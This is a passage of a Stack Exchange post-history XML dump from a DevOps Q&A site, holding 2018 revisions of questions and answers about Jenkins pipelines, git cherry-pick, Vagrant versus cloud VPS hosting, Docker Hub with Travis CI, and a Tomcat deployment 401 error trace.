                  name: 'Latest_Build_Number', &#xD;&#xA;                    trim: false)&#xD;&#xA;                ])&#xD;&#xA;            ])&#xD;&#xA;            echo Latest_Build_Number&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17319" PostHistoryTypeId="50" PostId="4312" RevisionGUID="5a48efc8-dedc-4a2b-988d-db85e188ded9" CreationDate="2018-11-15T06:02:20.480" UserId="-1" />
  <row Id="17320" PostHistoryTypeId="50" PostId="3552" RevisionGUID="c4596a07-e75c-4e0b-b822-305555892e56" CreationDate="2018-11-15T07:02:15.443" UserId="-1" />
  <row Id="17321" PostHistoryTypeId="2" PostId="5453" RevisionGUID="e0fa2a8b-3400-43a7-b78f-97ead9f5ef47" CreationDate="2018-11-15T08:17:43.873" UserDisplayName="user5176" Text="Is it true to say that because maximally-self-managed hosting-platforms like DigitalOcean/Linode because DO/Linode let you choose your operating system, than they make a OS-and-above containerizator (like *Vagrant*) totally redundant so that only a CM (like *Ansible*) and a above-OS-containerizator (like *Docker*) be enough for continuous integration or full automation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17322" PostHistoryTypeId="1" PostId="5453" RevisionGUID="e0fa2a8b-3400-43a7-b78f-97ead9f5ef47" CreationDate="2018-11-15T08:17:43.873" UserDisplayName="user5176" Text="Services like DitialOcean/Linode make Vagrant redundant?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17323" PostHistoryTypeId="3" PostId="5453" RevisionGUID="e0fa2a8b-3400-43a7-b78f-97ead9f5ef47" CreationDate="2018-11-15T08:17:43.873" UserDisplayName="user5176" Text="&lt;containers&gt;&lt;automation&gt;&lt;configuration-management&gt;&lt;vagrant&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17324" PostHistoryTypeId="2" PostId="5454" RevisionGUID="8faec1f7-1b03-4a4e-8e17-d558ebee0d40" CreationDate="2018-11-15T12:27:56.943" UserId="354" Text="This sounds like a problem for [`git cherry-pick`](https://git-scm.com/docs/git-cherry-pick). If you can separate the user story code from the fix code, by committing them separately, you can cherry pick the relevant commit to merge back into the `develop` branch.&#xD;&#xA;&#xD;&#xA;See https://stackoverflow.com/questions/9339429/what-does-cherry-picking-a-commit-with-git-mean" ContentLicense="CC BY-SA 4.0" />
  <row Id="17325" PostHistoryTypeId="5" PostId="5453" RevisionGUID="1dc6e13c-27ea-4c08-be4f-651fc1e196e8" CreationDate="2018-11-15T12:32:25.367" UserDisplayName="user5176" Comment="added 618 characters in body; edited title" Text="A maximally-self-managed hosting-platform like DigitalOcean/Linode lets a customer quickly create your own VPSE (Virtual Private Hosting Environment) which includes a common FOSS operating system like Debian, Ubuntu, Fedora, CentOS and so forth.&#xD;&#xA;&#xD;&#xA;Besides that, the FOSS community offers a type of software that I can call *OS-and-above containerizator* (like *Vagrant*).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm wondering if maximally-self-managed hosting-platforms that gives an operating system to choose and work with makes software like Vagrant totally redundant in case one desires continuous integration.&#xD;&#xA;&#xD;&#xA;For example, people who like continous integration might take this path:&#xD;&#xA;&#xD;&#xA;1. Spin up ubuntu/bionic64 box with Vagrant&#xD;&#xA;1. Provision it with Ansible playbook that installs Docker 18.06.1-ce&#xD;&#xA;1. Start Docker container based on mysql:5.7.24 image&#xD;&#xA;&#xD;&#xA;Given such circumstances, wouldn't maximally-self-managed hosting-platforms redund the first step thus making software like Vagrant useless in such services?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17326" PostHistoryTypeId="4" PostId="5453" RevisionGUID="1dc6e13c-27ea-4c08-be4f-651fc1e196e8" CreationDate="2018-11-15T12:32:25.367" UserDisplayName="user5176" Comment="added 618 characters in body; edited title" Text="Mmaximally-self-managed hosting-platforms redundant OS-and-above containerizators (like Vagrant)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17327" PostHistoryTypeId="5" PostId="5442" RevisionGUID="39d6f2e6-2dec-4e1c-8d22-0fd9936ab29a" CreationDate="2018-11-15T13:08:17.093" UserId="354" Comment="Cleaned up grammar and formatting to make the quetion clearer." Text="Please consider that I am new to DevOps. I am using Jenkins  and GitHub for salesforce deployment.&#xD;&#xA;&#xD;&#xA;## Setup&#xD;&#xA;&#xD;&#xA;We have a `develop` branch. Feature branches are created out of it. When merged to `develop`, the deployment to the first Salesforce sandbox happens. After end of every sprint the `develop` branch is merged with SIT branch pushing changes to SIT Sandbox.&#xD;&#xA;&#xD;&#xA;## Problem Statement&#xD;&#xA;&#xD;&#xA;The QA happens in the 1st sandbox for sprint 2. QA also takes place in SIT Sandbox for sprint n-1 features.&#xD;&#xA;  1. If an issue is found in the SIT sandbox as part of sprint n-1 testing, the bug is fixed in the `develop` Sandbox&#xD;&#xA;    1. a defect feature branch is created from `develop`. &#xD;&#xA;    1. A fix is added to it. &#xD;&#xA;    1. The branch is merged to develop, fix deployed to 1st Sandbox and tested. &#xD;&#xA;  1. If it passes QA, the defect feature branch needs to be  merged with the SIT branch to deploy the fix to the SIT sandbox and testing resumes.&#xD;&#xA;&#xD;&#xA;## Issue&#xD;&#xA;&#xD;&#xA;**Only the fix** needs to be pushed to SIT before the sprint is over and not user story code from sprint 2. But if the fix is made to an apex class or object file, everything is deployed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How would one separate the user story code from sprint 2 and defect fix code for sprint n-1 testing when merging to SIT branch?**&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="17328" PostHistoryTypeId="4" PostId="5442" RevisionGUID="39d6f2e6-2dec-4e1c-8d22-0fd9936ab29a" CreationDate="2018-11-15T13:08:17.093" UserId="354" Comment="Cleaned up grammar and formatting to make the quetion clearer." Text="Push specific changes (defect fix) and not feature changes" ContentLicense="CC BY-SA 4.0" />
  <row Id="17329" PostHistoryTypeId="6" PostId="5442" RevisionGUID="39d6f2e6-2dec-4e1c-8d22-0fd9936ab29a" CreationDate="2018-11-15T13:08:17.093" UserId="354" Comment="Cleaned up grammar and formatting to make the quetion clearer." Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;git&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17330" PostHistoryTypeId="24" PostId="5442" RevisionGUID="39d6f2e6-2dec-4e1c-8d22-0fd9936ab29a" CreationDate="2018-11-15T13:08:17.093" Comment="Proposed by 354 approved by -1 edit id of 851" ContentLicense="CC BY-SA 4.0" />
  <row Id="17331" PostHistoryTypeId="5" PostId="5442" RevisionGUID="6f899e65-a918-44ef-ad24-db61b63144a3" CreationDate="2018-11-15T13:08:17.093" UserId="40" Comment="deleted 21 characters in body" Text=" I am new to DevOps. I am using Jenkins and GitHub for salesforce deployment.&#xD;&#xA;&#xD;&#xA;## Setup&#xD;&#xA;&#xD;&#xA;We have a `develop` branch. Feature branches are created out of it. When merged to `develop`, the deployment to the first Salesforce sandbox happens. After end of every sprint the `develop` branch is merged with SIT branch pushing changes to SIT Sandbox.&#xD;&#xA;&#xD;&#xA;## Problem Statement&#xD;&#xA;&#xD;&#xA;The QA happens in the 1st sandbox for sprint 2. QA also takes place in SIT Sandbox for sprint n-1 features.&#xD;&#xA;  1. If an issue is found in the SIT sandbox as part of sprint n-1 testing, the bug is fixed in the `develop` Sandbox&#xD;&#xA;    1. a defect feature branch is created from `develop`. &#xD;&#xA;    1. A fix is added to it. &#xD;&#xA;    1. The branch is merged to develop, fix deployed to 1st Sandbox and tested. &#xD;&#xA;  1. If it passes QA, the defect feature branch needs to be  merged with the SIT branch to deploy the fix to the SIT sandbox and testing resumes.&#xD;&#xA;&#xD;&#xA;## Issue&#xD;&#xA;&#xD;&#xA;**Only the fix** needs to be pushed to SIT before the sprint is over and not user story code from sprint 2. But if the fix is made to an apex class or object file, everything is deployed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How would one separate the user story code from sprint 2 and defect fix code for sprint n-1 testing when merging to SIT branch?**&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="17335" PostHistoryTypeId="2" PostId="5456" RevisionGUID="b1bae6a8-e03b-47ff-befc-d53c4c33d637" CreationDate="2018-11-15T20:09:21.657" UserId="4115" Text="Typically you authenticate API calls (I assume you mean HTTP REST API; there is also a Groovy API) using an API token.  The API token can be generated from a user's profile page while logged in as that user (Profile page &gt; Configure &gt; API Token).  More information about generating and using API tokens is [available in the official documentation](https://wiki.jenkins.io/display/JENKINS/Authenticating+scripted+clients).  There is also [a question about API tokens posted to StackOverflow](https://stackoverflow.com/questions/45466090/how-to-get-the-api-token-for-jenkins)." ContentLicense="CC BY-SA 4.0" />
  <row Id="17336" PostHistoryTypeId="5" PostId="5453" RevisionGUID="ba59f7ee-04f5-49bd-87d4-2834a49714ff" CreationDate="2018-11-15T21:18:45.270" UserDisplayName="user5176" Comment="added 47 characters in body; edited title" Text="A maximally-self-managed hosting-platform like DigitalOcean/Linode lets a customer quickly create its own VPSE (Virtual Private Server Environment) which includes a common [FOSS][1] operating system like Debian, Ubuntu, Fedora, CentOS and so forth.&#xD;&#xA;&#xD;&#xA;Besides that, the FOSS community offers a type of software that I can call *OS-and-above containerizator* (like *Vagrant*).&#xD;&#xA;&#xD;&#xA;I'm wondering if maximally-self-managed hosting-platforms that gives an operating system to choose and work with makes software like Vagrant totally redundant in case one desires continuous integration.&#xD;&#xA;&#xD;&#xA;For example, people who like continuous integration might take this path:&#xD;&#xA;&#xD;&#xA;1. Spin up ubuntu/bionic64 box with Vagrant&#xD;&#xA;1. Provision it with Ansible playbook that installs Docker 18.06.1-ce&#xD;&#xA;1. Start Docker container based on mysql:5.7.24 image&#xD;&#xA;&#xD;&#xA;Given such circumstances, wouldn't maximally-self-managed hosting-platforms redund the first step thus making software like Vagrant useless in such services?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Foss" ContentLicense="CC BY-SA 4.0" />
  <row Id="17337" PostHistoryTypeId="4" PostId="5453" RevisionGUID="ba59f7ee-04f5-49bd-87d4-2834a49714ff" CreationDate="2018-11-15T21:18:45.270" UserDisplayName="user5176" Comment="added 47 characters in body; edited title" Text="Maximally-self-managed hosting-platforms and OS-and-above containerizators (like Vagrant)" ContentLicense="CC BY-SA 4.0" />
  <row Id="17338" PostHistoryTypeId="50" PostId="5107" RevisionGUID="497ab6a3-6c86-4148-8a07-b3fd38e4b006" CreationDate="2018-11-15T22:01:30.230" UserId="-1" />
  <row Id="17339" PostHistoryTypeId="2" PostId="5457" RevisionGUID="8bf048ef-a2bb-49ec-9024-3a98ff75df08" CreationDate="2018-11-15T22:44:00.683" UserId="4175" Text="Yes, there are plenty of providers which make the first step redundant; i.e. they give you a working, optimized, running Linux box just by clicking a button, without you having to care how it works. Or they skip the need to have a &quot;box&quot; (VM) running at all. AWS, Azure, OpenShift etc. all do that, and do it well. &#xD;&#xA;&#xD;&#xA;In my neck of the woods, we use Vagrant primarily to get developers up to speed quickly; i.e. to install them a VM which has just the right ingredients needed for development of a specific application (a specific version of whatever compiler etc. is needed, and so on). This works well because Vagrant leaves the dev with a bog-standard VM, which he can either keep permanently, owning it (e.g., modifying it to set up their preferred editor/IDE right inside, and so on), or for having a throw-away.&#xD;&#xA;&#xD;&#xA;Frankly, when we need to spin up many things (containers etc.), Vagrant (or rather: VMs) is just a bit too heavy. We use containers for that; and Kubernetes (and the cloud providers like mentioned) deliver a *much* higher integration than Vagrant, in any case." ContentLicense="CC BY-SA 4.0" />
  <row Id="17340" PostHistoryTypeId="50" PostId="4176" RevisionGUID="42584e36-41d1-4421-9caf-6da51d5cf58f" CreationDate="2018-11-15T23:01:45.360" UserId="-1" />
  <row Id="17341" PostHistoryTypeId="5" PostId="5457" RevisionGUID="01c4b273-0599-4b3d-9750-8620157cf704" CreationDate="2018-11-15T23:28:14.877" UserId="4175" Comment="added 3 characters in body" Text="Yes, there are plenty of providers which make the first step redundant; i.e. they give you a working, optimized, running Linux box just by clicking a button, without you having to care how it works. Or they skip the need to have a &quot;box&quot; (VM) running at all. AWS, Azure, GCP, OpenShift etc. all do that, and do it well. &#xD;&#xA;&#xD;&#xA;In my neck of the woods, we use Vagrant primarily to get developers up to speed quickly; i.e. to install them a VM which has just the right ingredients needed for development of a specific application (a specific version of whatever compiler, OS packages etc. are needed). This works well because Vagrant leaves the dev with a bog-standard VM, which he can either keep permanently, owning it (e.g., modifying it to set up their preferred editor/IDE right inside, and so on), or for having a throw-away.&#xD;&#xA;&#xD;&#xA;Frankly, when we need to spin up many things, Vagrant (or rather: VMs) is just a bit too heavy. We use containers for that; and Kubernetes (and the cloud providers as mentioned) deliver a *much* higher integration than Vagrant, in any case." ContentLicense="CC BY-SA 4.0" />
  <row Id="17342" PostHistoryTypeId="50" PostId="3916" RevisionGUID="be9fd94d-e0ad-4529-aeb8-553e4f5639a2" CreationDate="2018-11-16T00:01:45.323" UserId="-1" />
  <row Id="17343" PostHistoryTypeId="5" PostId="5444" RevisionGUID="61dfcef3-93b9-419e-9028-38d8aa9fc730" CreationDate="2018-11-16T00:36:59.493" UserId="739" Comment="copy editing" Text="I have a Jenkins job which I want to trigger after deploying pipeline in Gitlab, Is this possible with webhooks or some other way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17344" PostHistoryTypeId="24" PostId="5444" RevisionGUID="61dfcef3-93b9-419e-9028-38d8aa9fc730" CreationDate="2018-11-16T00:36:59.493" Comment="Proposed by 739 approved by 40, 707 edit id of 853" ContentLicense="CC BY-SA 4.0" />
  <row Id="17345" PostHistoryTypeId="5" PostId="5443" RevisionGUID="3844b9d6-00b7-4d21-88d7-cc671255837b" CreationDate="2018-11-16T00:37:02.760" UserId="739" Comment="remove chattiness" Text="I solved in this way:&#xD;&#xA;&#xD;&#xA;    git add -A&#xD;&#xA;    git diff-index --quiet HEAD || git commit -m &quot;Jenkins automatic update commit&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17346" PostHistoryTypeId="24" PostId="5443" RevisionGUID="3844b9d6-00b7-4d21-88d7-cc671255837b" CreationDate="2018-11-16T00:37:02.760" Comment="Proposed by 739 approved by 40, 707 edit id of 852" ContentLicense="CC BY-SA 4.0" />
  <row Id="17347" PostHistoryTypeId="2" PostId="5458" RevisionGUID="90f5151a-d2f7-4bc6-826c-843f43971fcd" CreationDate="2018-11-16T03:57:10.280" UserId="7118" Text="I'm wanting to create a basic 'on new commits to master, rebuild the images and deploy to kubernetes' pipeline. &#xD;&#xA;&#xD;&#xA;Docker Hub has its concept of automated builds on new commits, but I'd still need to use Travis CI to do the kubernetes deployment. &#xD;&#xA;&#xD;&#xA;Is there a way to synchronise these - so that Travis doesn't start its scripts until Docker Hub has built the image? &#xD;&#xA;&#xD;&#xA;Alternatively - I could just do all of the building on Travis CI. But Docker Hub doesn't seem to provide service accounts - or have I got that wrong? It seems like the only way to create a service account is to actually manually create a new username/password for service account. Is that the case? &#xD;&#xA;&#xD;&#xA;What are the generally established ways of doing this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="17348" PostHistoryTypeId="1" PostId="5458" RevisionGUID="90f5151a-d2f7-4bc6-826c-843f43971fcd" CreationDate="2018-11-16T03:57:10.280" UserId="7118" Text="Docker Hub automated builds and Travis CI" ContentLicense="CC BY-SA 4.0" />
  <row Id="17349" PostHistoryTypeId="3" PostId="5458" RevisionGUID="90f5151a-d2f7-4bc6-826c-843f43971fcd" CreationDate="2018-11-16T03:57:10.280" UserId="7118" Text="&lt;travis-ci&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17350" PostHistoryTypeId="2" PostId="5459" RevisionGUID="5e62ba56-c2cd-4353-9da9-0fad29afa46b" CreationDate="2018-11-16T05:13:12.000" UserId="10887" Text="Is there any possibilities in keeping additional files in the docker hub account along with docker images.&#xD;&#xA;&#xD;&#xA;There is description page, but I want to maintain additional files for each image I planning to upload. Currently bundling the files in the image and retrieving it through creating container from it. It would be great if that option available.&#xD;&#xA;&#xD;&#xA;Thanks and Regards,&#xD;&#xA;&#xD;&#xA;Mohan" ContentLicense="CC BY-SA 4.0" />
  <row Id="17351" PostHistoryTypeId="1" PostId="5459" RevisionGUID="5e62ba56-c2cd-4353-9da9-0fad29afa46b" CreationDate="2018-11-16T05:13:12.000" UserId="10887" Text="Reg uploading additional files in docker hub" ContentLicense="CC BY-SA 4.0" />
  <row Id="17352" PostHistoryTypeId="3" PostId="5459" RevisionGUID="5e62ba56-c2cd-4353-9da9-0fad29afa46b" CreationDate="2018-11-16T05:13:12.000" UserId="10887" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17353" PostHistoryTypeId="50" PostId="1821" RevisionGUID="3a351106-34f5-4ab9-9b04-1a68da1d7172" CreationDate="2018-11-16T08:00:50.287" UserId="-1" />
  <row Id="17354" PostHistoryTypeId="5" PostId="5428" RevisionGUID="f4c1e79b-ad9d-4148-bd02-181970c97166" CreationDate="2018-11-16T08:19:15.397" UserDisplayName="user5176" Comment="added 16 characters in body" Text="I understand that *Ansible* is a [Configuration Management][1] (CM) tool for orchestrating, deploying (and continuously upgrading) software and conf via a special [YAML][2] format created for that software, and that Ansible actions can be done on the local machine via a locally executed Ansible playbook, or remotely for 1 or more machines by listing IP addresses for an Ansible playbook in an Ansible storage file and executing both the storage and associated playbook (without needing to install Ansible on the one or more remote machines).&#xD;&#xA;&#xD;&#xA;I also understand that [Operating-System-Level-Virtualization][3] (&quot;Containerization&quot;) software like *Docker* (also utilizing YAML in a unique format) allows us to &quot;copy away&quot; containers of &quot;frozen; just-bake&quot; data, from one machine to 1 or more other machines to have a pre-processed data to work with and to change minorally per specific nneds to save time of repeatitive creation of that data in the container time and again.&#xD;&#xA;&#xD;&#xA;Sometimes when I read about either Ansible or Docker I come across mentions of *Vagrant* which is another software.&#xD;&#xA;&#xD;&#xA;I understand Vagrant to be a what I can call &quot;All-Level-Virtualization&quot; (operating-system and possibly also some stack above it), yet I'm not sure if that's correct.&#xD;&#xA;&#xD;&#xA;How does Vagrant is different than these two in principle (and also the term &quot;Vagrant box&quot; makes me to wonder if Vagrant is an actual &quot;competitor&quot; for Docker, is it?)&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Configuration_management&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/YAML&#xD;&#xA;  [3]: http://Operating-system-level%20virtualization" ContentLicense="CC BY-SA 4.0" />
  <row Id="17355" PostHistoryTypeId="5" PostId="5442" RevisionGUID="c395e30e-fd2a-47f7-9b88-9fd0562b130f" CreationDate="2018-11-16T08:41:52.763" UserId="4115" Comment="fixed list formatting" Text=" I am new to DevOps. I am using Jenkins and GitHub for salesforce deployment.&#xD;&#xA;&#xD;&#xA;## Setup&#xD;&#xA;&#xD;&#xA;We have a `develop` branch. Feature branches are created out of it. When merged to `develop`, the deployment to the first Salesforce sandbox happens. After end of every sprint the `develop` branch is merged with SIT branch pushing changes to SIT Sandbox.&#xD;&#xA;&#xD;&#xA;## Problem Statement&#xD;&#xA;&#xD;&#xA;The QA happens in the 1st sandbox for sprint 2. QA also takes place in SIT Sandbox for sprint n-1 features.&#xD;&#xA;&#xD;&#xA;  1. If an issue is found in the SIT sandbox as part of sprint n-1 testing, the bug is fixed in the `develop` Sandbox&#xD;&#xA;    1. a defect feature branch is created from `develop`. &#xD;&#xA;    2. A fix is added to it. &#xD;&#xA;    3. The branch is merged to develop, fix deployed to 1st Sandbox and tested. &#xD;&#xA;  2. If it passes QA, the defect feature branch needs to be  merged with the SIT branch to deploy the fix to the SIT sandbox and testing resumes.&#xD;&#xA;&#xD;&#xA;## Issue&#xD;&#xA;&#xD;&#xA;**Only the fix** needs to be pushed to SIT before the sprint is over and not user story code from sprint 2. But if the fix is made to an apex class or object file, everything is deployed. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How would one separate the user story code from sprint 2 and defect fix code for sprint n-1 testing when merging to SIT branch?**&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="17356" PostHistoryTypeId="24" PostId="5442" RevisionGUID="c395e30e-fd2a-47f7-9b88-9fd0562b130f" CreationDate="2018-11-16T08:41:52.763" Comment="Proposed by 4115 approved by 707, -1 edit id of 854" ContentLicense="CC BY-SA 4.0" />
  <row Id="17357" PostHistoryTypeId="5" PostId="5442" RevisionGUID="1bb2b61f-99a6-4649-a870-1eac23c51f2c" CreationDate="2018-11-16T08:41:52.763" UserId="40" Comment="deleted 13 characters in body" Text=" I am new to DevOps. I am using Jenkins and GitHub for salesforce deployment.&#xD;&#xA;&#xD;&#xA;## Setup&#xD;&#xA;&#xD;&#xA;We have a `develop` branch. Feature branches are created out of it. When merged to `develop`, the deployment to the first Salesforce sandbox happens. After end of every sprint the `develop` branch is merged with SIT branch pushing changes to SIT Sandbox.&#xD;&#xA;&#xD;&#xA;## Problem Statement&#xD;&#xA;&#xD;&#xA;The QA happens in the 1st sandbox for sprint 2. QA also takes place in SIT Sandbox for sprint n-1 features.&#xD;&#xA;&#xD;&#xA;  1. If an issue is found in the SIT sandbox as part of sprint n-1 testing, the bug is fixed in the `develop` Sandbox&#xD;&#xA;    1. a defect feature branch is created from `develop`. &#xD;&#xA;    2. A fix is added to it. &#xD;&#xA;    3. The branch is merged to develop, fix deployed to 1st Sandbox and tested. &#xD;&#xA;  2. If it passes QA, the defect feature branch needs to be  merged with the SIT branch to deploy the fix to the SIT sandbox and testing resumes.&#xD;&#xA;&#xD;&#xA;## Issue&#xD;&#xA;&#xD;&#xA;**Only the fix** needs to be pushed to SIT before the sprint is over and not user story code from sprint 2. But if the fix is made to an apex class or object file, everything is deployed.&#xD;&#xA;&#xD;&#xA;**How would one separate the user story code from sprint 2 and defect fix code for sprint n-1 testing when merging to SIT branch?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="17358" PostHistoryTypeId="5" PostId="5459" RevisionGUID="83409c88-dffc-40f8-947b-a864816b4468" CreationDate="2018-11-16T08:42:50.720" UserId="40" Comment="remove noise" Text="Is there any possibilities in keeping additional files in the docker hub account along with docker images.&#xD;&#xA;&#xD;&#xA;There is description page, but I want to maintain additional files for each image I planning to upload. Currently bundling the files in the image and retrieving it through creating container from it. It would be great if that option available." ContentLicense="CC BY-SA 4.0" />
  <row Id="17359" PostHistoryTypeId="5" PostId="5443" RevisionGUID="26db5be6-bf09-4e30-92be-44a48741d7f7" CreationDate="2018-11-16T11:01:38.763" UserId="10858" Comment="added 523 characters in body" Text="In my automatic jenkins job, lauched daily, if there are no changes the git commit command returns 1. That will mark the buikd as failed. To solve this problem I use this two commands in my shell build step: &#xD;&#xA;&#xD;&#xA;    git add -A&#xD;&#xA;    git diff-index --quiet HEAD || git commit -m &quot;Jenkins automatic update commit&quot;&#xD;&#xA;&#xD;&#xA;- the first will eventually add all unstaged files in the whole working tree (equivalent to git add --all);&#xD;&#xA;- the second will perform the commit if and only if there are differences against the HEAD version of the working directory. If the git diff command has exit code equals to zero the git commit command is executed.&#xD;&#xA;&#xD;&#xA;Cheers" ContentLicense="CC BY-SA 4.0" />
  <row Id="17360" PostHistoryTypeId="2" PostId="5460" RevisionGUID="9d238668-84f7-49a9-a095-074fd670522a" CreationDate="2018-11-16T12:24:01.557" UserId="10890" Text=" I have Jenkins installed in my system, on which the following are installed: &#xD;&#xA;&#xD;&#xA; - Maven Integration Plugin&#xD;&#xA; - Deploy to Container Plugin&#xD;&#xA; - Ant Plugin&#xD;&#xA; - Copy Artifact Plugin&#xD;&#xA; - GitHub plugin&#xD;&#xA; - GitHub Branch Source Plugin&#xD;&#xA;&#xD;&#xA;.. and possibly a few others I cannot remember (because coding)...&#xD;&#xA;&#xD;&#xA; create new freestyle Project (Deploy-to-staging) project, go to its config, and do the following:&#xD;&#xA;&#xD;&#xA; - In Build, select copy artifacts from another project (package):&#xD;&#xA;&#xD;&#xA;[![In Build, select copy artifacts from another project (package):][1]][1]&#xD;&#xA;&#xD;&#xA; - In select post build action&#xD;&#xA;&#xD;&#xA; [![In select post build action][2]][2]&#xD;&#xA;&#xD;&#xA;In package project, edited its config as follows:&#xD;&#xA;&#xD;&#xA; - In General, describe the project.&#xD;&#xA; - In Source Code Management, select Git and enter the Repository URL.&#xD;&#xA; - In Build,Select Invoke top-level Maven Target.&#xD;&#xA;&#xD;&#xA;[![In Build, Invoke top-level Maven Target.][3]][3]&#xD;&#xA;&#xD;&#xA; - In post build actions, Select Archive the Artifacts and Build other project.&#xD;&#xA;&#xD;&#xA;[![In post build actions, Select Archive the Artifacts and Build other project.][4]][4] &#xD;&#xA;&#xD;&#xA;When I trigger the package build it runs fine and Deploy-to-staging&#xD;&#xA;&#xD;&#xA;Build step failed with exception org.codehaus.cargo.container.ContainerException: Failed to redeploy&#xD;&#xA;&#xD;&#xA;I get below error when trying to deploy a WAR using Jenkins.&#xD;&#xA;&#xD;&#xA;        Building in workspace /var/lib/jenkins/workspace/Deploy-to-staging&#xD;&#xA;    Copied 1 artifact from &quot;Package&quot; build number 31&#xD;&#xA;    Deploying /var/lib/jenkins/workspace/Deploy-to-staging/webapp/target/webapp.war to container Tomcat 7.x Remote with context &#xD;&#xA;    ERROR: Build step failed with exception&#xD;&#xA;    org.codehaus.cargo.container.ContainerException: Failed to redeploy [/var/lib/jenkins/workspace/Deploy-to-staging/webapp/target/webapp.war]&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:188)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:77)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:147)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:117)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1077)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1060)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeploy(CargoContainerAdapter.java:114)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeploy(PasswordProtectedAdapterCargo.java:93)&#xD;&#xA;    	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1844)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;    Caused by: org.codehaus.cargo.container.tomcat.internal.TomcatManagerException: The username and password you provided are not correct (error 401)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:698)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:876)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:889)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:173)&#xD;&#xA;    	... 17 more&#xD;&#xA;    Caused by: java.io.IOException: Server returned HTTP response code: 401 for URL: http://localhost:8090/manager/text/list&#xD;&#xA;    	at sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1894)&#xD;&#xA;    	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1492)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:571)&#xD;&#xA;    	... 20 more&#xD;&#xA;    org.codehaus.cargo.container.tomcat.internal.TomcatManagerException: The username and password you provided are not correct (error 401)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:698)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:876)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:889)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:173)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:77)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:147)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:117)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1077)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1060)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeploy(CargoContainerAdapter.java:114)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeploy(PasswordProtectedAdapterCargo.java:93)&#xD;&#xA;    	at 